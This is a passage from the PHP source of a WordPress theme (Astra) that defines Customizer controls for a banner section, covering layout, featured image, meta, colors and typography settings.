$title_section . '-layout', 'layout-1' ), 'priority' => 5, 'context' => Astra_Builder_Helper::$general_tab, 'title' => __( 'Banner Layout', 'astra' ), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'choices' => array( 'layout-1' => array( 'label' => __( 'Layout 1', 'astra' ), 'path' => Astra_Builder_UI_Controller::fetch_svg_icon( 'banner-layout-1' ), ), 'layout-2' => array( 'label' => __( 'Layout 2', 'astra' ), 'path' => Astra_Builder_UI_Controller::fetch_svg_icon( 'banner-layout-2' ), ), ), 'contextual_sub_control' => true, 'input_attrs' => array( 'dependents' => array( 'layout-1' => array( $title_section . '-empty-layout-message', $title_section . '-article-featured-image-position-layout-1', $title_section . '-article-featured-image-width-type', $title_section . '-remove-featured-padding' ), 'layout-2' => array( $title_section . '-featured-as-background', $title_section . '-banner-featured-overlay', $title_section . '-image-position', $title_section . '-featured-help-notice', $title_section . '-article-featured-image-position-layout-2' ), ), ), ), /** * Option: Banner Content Width. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-width-type]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-width-type', 'fullwidth' ), 'priority' => 10, 'title' => __( 'Container Width', 'astra' ), 'choices' => array( 'fullwidth' => __( 'Full Width', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-bottom-spacing' ), 'responsive' => false, 'renderAs' => 'text', 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), ), /** * Option: Enter Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-custom-width]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $title_section, 'transport' => 'postMessage', 'default' => astra_get_option( $title_section . '-banner-custom-width', 1200 ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-width-type]', 'operator' => '===', 'value' => 'custom', ), ), 'priority' => 15, 'title' => __( 'Custom Width', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 768, 'step' => 1, 'max' => 1920, ), ), /** * Option: Display Post Structure */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'section' => $title_section, 'context' => Astra_Builder_Helper::$general_tab, 'default' => $structure_defaults, 'priority' => 20, 'title' => __( 'Structure', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'choices' => array_merge( array( $title_section . '-title' => __( 'Title', 'astra' ), $title_section . '-breadcrumb' => __( 'Breadcrumb', 'astra' ), $title_section . '-excerpt' => __( 'Excerpt', 'astra' ), ), $structure_sub_controls ), ), array( 'name' => $title_section . '-article-featured-image-position-layout-1', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-article-featured-image-position-layout-1', 'behind' ), 'priority' => 28, 'linked' => $title_section . '-image', 'transport' => 'postMessage', 'title' => __( 'Image Position', 'astra' ), 'choices' => array( 'none' => __( 'None', 'astra' ), 'behind' => __( 'Behind', 'astra' ), ), 'description' => $tooltip_description, 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => $title_section . '-article-featured-image-position-layout-2', 'type' => 'sub-control', 'control' => 'ast-selector', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'transport' => 'postMessage', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-article-featured-image-position-layout-2', 'none' ), 'priority' => 28, 'title' => __( 'Image Position', 'astra' ), 'choices' => array( 'none' => __( 'None', 'astra' ), 'below' => __( 'Below', 'astra' ), ), 'description' => $second_layout_tooltip_description, 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => $title_section . '-article-featured-image-width-type', 'type' => 'sub-control', 'control' => 'ast-selector', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'transport' => 'postMessage', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-article-featured-image-width-type', 'wide' ), 'priority' => 28, 'title' => __( 'Behind Positioned Image Width', 'astra' ), 'choices' => array( 'wide' => __( 'Wide', 'astra' ), 'full' => __( 'Full Width', 'astra' ), ), 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'renderAs' => 'text', ), array( 'name' => $title_section . '-article-featured-image-ratio-type', 'default' => astra_get_option( $title_section . '-article-featured-image-ratio-type', 'predefined' ), 'type' => 'sub-control', 'section' => $title_section, 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'transport' => 'postMessage', 'priority' => 28, 'control' => 'ast-selector', 'title' => __( 'Image Ratio', 'astra' ), 'choices' => array( 'default' => __( 'Original', 'astra' ), 'predefined' => __( 'Predefined', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'contextual_sub_control' => true, 'input_attrs' => array( 'dependents' => array( 'default' => array(), 'predefined' => array( $title_section . '-article-featured-image-ratio-pre-scale' ), 'custom' => array( $title_section . '-article-featured-image-custom-scale-width', $title_section . '-article-featured-image-custom-scale-height', $title_section . '-article-featured-image-custom-scale-description' ), ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => $title_section . '-article-featured-image-ratio-pre-scale', 'default' => astra_get_option( $title_section . '-article-featured-image-ratio-pre-scale', '16/9' ), 'type' => 'sub-control', 'section' => $title_section, 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'transport' => 'postMessage', 'priority' => 28, 'control' => 'ast-selector', 'choices' => array( '1/1' => __( '1:1', 'astra' ), '4/3' => __( '4:3', 'astra' ), '16/9' => __( '16:9', 'astra' ), '2/1' => __( '2:1', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => $title_section . '-article-featured-image-custom-scale-width', 'default' => astra_get_option( $title_section . '-article-featured-image-custom-scale-width', 16 ), 'type' => 'sub-control', 'control' => 'ast-number', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'transport' => 'postMessage', 'section' => $title_section, 'priority' => 28, 'qty_selector' => true, 'title' => __( 'Width', 'astra' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra' ), 'min' => 1, 'max' => 1000, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), ), array( 'name' => $title_section . '-article-featured-image-custom-scale-height', 'default' => astra_get_option( $title_section . '-article-featured-image-custom-scale-height', 9 ), 'type' => 'sub-control', 'control' => 'ast-number', 'transport' => 'postMessage', 'section' => $title_section, 'priority' => 28, 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'qty_selector' => true, 'title' => __( 'Height', 'astra' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra' ), 'min' => 1, 'max' => 1000, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), ), array( 'name' => $title_section . '-article-featured-image-custom-scale-description', 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-description', 'section' => $title_section, 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'priority' => 28, 'label' => '', 'help' => sprintf( /* translators: 1: link open markup, 2: link close markup */ __( 'Calculate a personalized image ratio using this %1$s online tool %2$s for your image dimensions.', 'astra' ), '<a href="' . esc_url( 'https://www.digitalrebellion.com/webapps/aspectcalc' ) . '" target="_blank">', '</a>' ), ), array( 'name' => $title_section . '-article-featured-image-size', 'default' => astra_get_option( $title_section . '-article-featured-image-size', 'large' ), 'section' => $title_section, 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-image', 'priority' => 28, 'title' => __( 'Image Size', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'control' => 'ast-select', 'choices' => astra_get_site_image_sizes( true ), 'description' => defined( 'ASTRA_EXT_VER' ) ? __( "You can specify Custom image sizes from the Single Post's 'Featured Image Size' option.", 'astra' ) : '', ), array( 'name' => $title_section . '-remove-featured-padding', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-remove-featured-padding', false ), 'linked' => $title_section . '-image', 'type' => 'sub-control', 'control' => 'ast-toggle', 'section' => $title_section, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'priority' => 28, 'title' => __( 'Remove Image Padding', 'astra' ), 'description' => __( 'Remove the padding around featured image when position is "None".', 'astra' ), 'transport' => 'postMessage', ), array( 'name' => $title_section . '-featured-as-background', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-featured-as-background', false ), 'linked' => $title_section . '-image', 'type' => 'sub-control', 'control' => 'ast-toggle', 'section' => $title_section, 'divider' => array( 'ast_class' => 'ast-section-spacing ast-top-divider' ), 'priority' => 28, 'title' => __( 'Use as Background', 'astra' ), 'transport' => 'postMessage', ), array( 'name' => $title_section . '-banner-featured-overlay', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-banner-featured-overlay', '' ), 'linked' => $title_section . '-image', 'type' => 'sub-control', 'control' => 'ast-color', 'section' => $title_section, 'priority' => 28, 'title' => __( 'Overlay Color', 'astra' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-taxonomy-clone-tracker]', 'section' => $title_section, 'type' => 'control', 'control' => 'ast-hidden', 'priority' => 22, 'transport' => 'postMessage', 'partial' => false, 'default' => astra_get_option( $title_section . '-taxonomy-clone-tracker', 1 ), ), array( 'name' => $title_section . '-structural-taxonomy', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'default' => astra_get_option( $title_section . '-structural-taxonomy' ), 'linked' => $title_section . '-str-taxonomy', 'type' => 'sub-control', 'control' => 'ast-select', 'transport' => 'refresh', 'section' => $title_section, 'priority' => 1, 'title' => __( 'Taxonomy', 'astra' ), 'choices' => $taxonomies, ), array( 'name' => $title_section . '-structural-taxonomy-style', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-structural-taxonomy-style', '' ), 'priority' => 2, 'linked' => $title_section . '-str-taxonomy', 'transport' => 'refresh', 'title' => __( 'Style', 'astra' ), 'choices' => array( '' => __( 'Default', 'astra' ), 'badge' => __( 'Badge', 'astra' ), 'underline' => __( 'Underline', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'default' => astra_get_option( $title_section . '-metadata', array( 'comments', 'author', 'date' ) ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'operator' => 'contains', 'value' => $title_section . '-meta', ), ), 'section' => $title_section, 'priority' => 25, 'title' => __( 'Meta', 'astra' ), 'choices' => array_merge( array( 'comments' => __( 'Comments', 'astra' ), ), $meta_config_options ), ), /** * Option: Author Prefix Label. */ array( 'name' => $title_section . '-author-prefix-label', 'default' => astra_get_option( $title_section . '-author-prefix-label', astra_default_strings( 'string-blog-meta-author-by', false ) ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'linked' => 'author', 'type' => 'sub-control', 'control' => 'ast-text-input', 'section' => $title_section, 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-section-spacing' ), 'title' => __( 'Prefix Label', 'astra' ), 'priority' => 1, 'transport' => 'postMessage', ), /** * Option: Author Avatar. */ array( 'name' => $title_section . '-author-avatar', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'default' => astra_get_option( $title_section . '-author-avatar', false ), 'linked' => 'author', 'type' => 'sub-control', 'control' => 'ast-toggle', 'section' => $title_section, 'priority' => 5, 'title' => __( 'Author Avatar', 'astra' ), 'transport' => 'postMessage', ), /** * Option: Author Avatar Width. */ array( 'name' => $title_section . '-author-avatar-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'default' => astra_get_option( $title_section . '-author-avatar-size', 30 ), 'linked' => 'author', 'type' => 'sub-control', 'control' => 'ast-slider', 'transport' => 'postMessage', 'section' => $title_section, 'priority' => 10, 'title' => __( 'Image Size', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 200, ), ), /** * Option: Date Meta Type. */ array( 'name' => $title_section . '-meta-date-type', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-meta-date-type', 'published' ), 'priority' => 1, 'linked' => 'date', 'transport' => 'refresh', 'title' => __( 'Type', 'astra' ), 'choices' => array( 'published' => __( 'Published', 'astra' ), 'updated' => __( 'Last Updated', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'responsive' => false, 'renderAs' => 'text', ), /** * Date format support for meta field. */ array( 'name' => $title_section . '-date-format', 'default' => astra_get_option( $title_section . '-date-format', '' ), 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-metadata]', 'linked' => 'date', 'type' => 'sub-control', 'control' => 'ast-select', 'section' => $title_section, 'priority' => 2, 'responsive' => false, 'renderAs' => 'text', 'title' => __( 'Format', 'astra' ), 'choices' => array( '' => __( 'Default', 'astra' ), 'F j, Y' => 'November 6, 2010', 'Y-m-d' => '2010-11-06', 'm/d/Y' => '11/06/2010', 'd/m/Y' => '06/11/2010', ), ), /** * Option: Meta Data Separator. */ array( 'name' => $title_section . '-metadata-separator', 'default' => astra_get_option( $title_section . '-metadata-separator', '/' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'linked' => $title_section . '-meta', 'section' => $title_section, 'priority' => 10, 'control' => 'ast-selector', 'title' => __( 'Divider Type', 'astra' ), 'choices' => array( '/' => '/', '-' => '-', '|' => '|', '•' => '•', 'none' => __( 'None', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Horizontal Alignment. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-horizontal-alignment]', 'default' => astra_get_option( $title_section . '-horizontal-alignment' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 29, 'title' => __( 'Horizontal Alignment', 'astra' ), 'context' => Astra_Builder_Helper::$general_tab, 'transport' => 'postMessage', 'choices' => array( 'left' => 'align-left', 'center' => 'align-center', 'right' => 'align-right', ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: Vertical Alignment */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-vertical-alignment]', 'default' => astra_get_option( $title_section . '-vertical-alignment', 'center' ), 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'priority' => 30, 'title' => __( 'Vertical Alignment', 'astra' ), 'choices' => array( 'flex-start' => __( 'Top', 'astra' ), 'center' => __( 'Middle', 'astra' ), 'flex-end' => __( 'Bottom', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-section-spacing ast-bottom-section-divider' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'transport' => 'postMessage', 'renderAs' => 'text', 'responsive' => false, ), /** * Option: Container min height. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-height]', 'type' => 'control', 'control' => 'ast-responsive-slider', 'section' => $title_section, 'transport' => 'postMessage', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'default' => astra_get_option( $title_section . '-banner-height', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-slider' ) ), 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'priority' => 2, 'title' => __( 'Banner Min Height', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 1000, ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-section-spacing' ), ), /** * Option: Elements gap. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-elements-gap]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $title_section, 'transport' => 'postMessage', 'default' => astra_get_option( $title_section . '-elements-gap', 10 ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 5, 'title' => __( 'Inner Elements Spacing', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 100, ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-spacing ast-section-spacing' ), ), /** * Option: Featured Image Custom Banner BG. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-background]', 'type' => 'control', 'default' => astra_get_option( $title_section . '-banner-background', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-background' ) ), 'section' => $title_section, 'control' => 'ast-responsive-background', 'title' => __( 'Background', 'astra' ), 'transport' => 'postMessage', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-featured-as-background]', 'operator' => '!=', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '===', 'value' => 'layout-2', ), ), 'priority' => 5, ), /** * Option: Title Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-title-color' ), 'transport' => 'postMessage', 'priority' => 5, 'title' => __( 'Title Color', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, ), /** * Option: Text Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-text-color' ), 'priority' => 10, 'title' => __( 'Text Color', 'astra' ), 'transport' => 'postMessage', 'context' => Astra_Builder_Helper::$design_tab, ), /** * Option: Link Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-link-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-link-color' ), 'transport' => 'postMessage', 'priority' => 15, 'title' => __( 'Link Color', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, ), /** * Option: Link Hover Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-link-hover-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-link-hover-color' ), 'transport' => 'postMessage', 'priority' => 20, 'title' => __( 'Link Hover Color', 'astra' ), 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'context' => Astra_Builder_Helper::$design_tab, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'type' => 'control', 'priority' => 25, 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'operator' => 'contains', 'value' => $title_section . '-title', ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'title' => __( 'Title Font', 'astra' ), 'is_font' => true, 'section' => $title_section, 'transport' => 'postMessage', ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'type' => 'control', 'priority' => 30, 'control' => 'ast-settings-group', 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Text Font', 'astra' ), 'is_font' => true, 'section' => $title_section, 'transport' => 'postMessage', ), /** * Option: Text Font Family */ array( 'name' => $title_section . '-text-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-text-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-text-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Text Font Weight */ array( 'name' => $title_section . '-text-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-text-font-weight', 'inherit' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-text-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Text Font Size */ array( 'name' => $title_section . '-text-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-text-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'font-size' ) ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Single Post Banner Text Font Extras */ array( 'name' => $title_section . '-text-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-text-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), /** * Option: Title Font Family */ array( 'name' => $title_section . '-title-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-title-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-title-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Title Font Weight */ array( 'name' => $title_section . '-title-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-title-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Title Font Size */ array( 'name' => $title_section . '-title-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-title-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-size' ) ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Single Post Banner Title Font Extras */ array( 'name' => $title_section . '-title-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-title-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-meta-typography-group]', 'type' => 'control', 'priority' => 35, 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'operator' => 'contains', 'value' => $title_section . '-meta', ), ), 'title' => __( 'Meta Font', 'astra' ), 'is_font' => true, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'section' => $title_section, 'transport' => 'postMessage', ), /** * Option: Meta Font Family */ array( 'name' => $title_section . '-meta-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-meta-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-meta-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-meta-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Meta Font Weight */ array( 'name' => $title_section . '-meta-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-meta-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-meta-font-weight', 'inherit' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-meta-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Meta Font Size */ array( 'name' => $title_section . '-meta-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-meta-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-meta-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'font-size' ) ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Single Post Banner Title Font Extras */ array( 'name' => $title_section . '-meta-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-meta-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-meta-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-margin]', 'default' => astra_get_option( $title_section . '-banner-margin', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-spacing' ) ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $title_section, 'title' => __( 'Margin', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'unit_choices' => array( 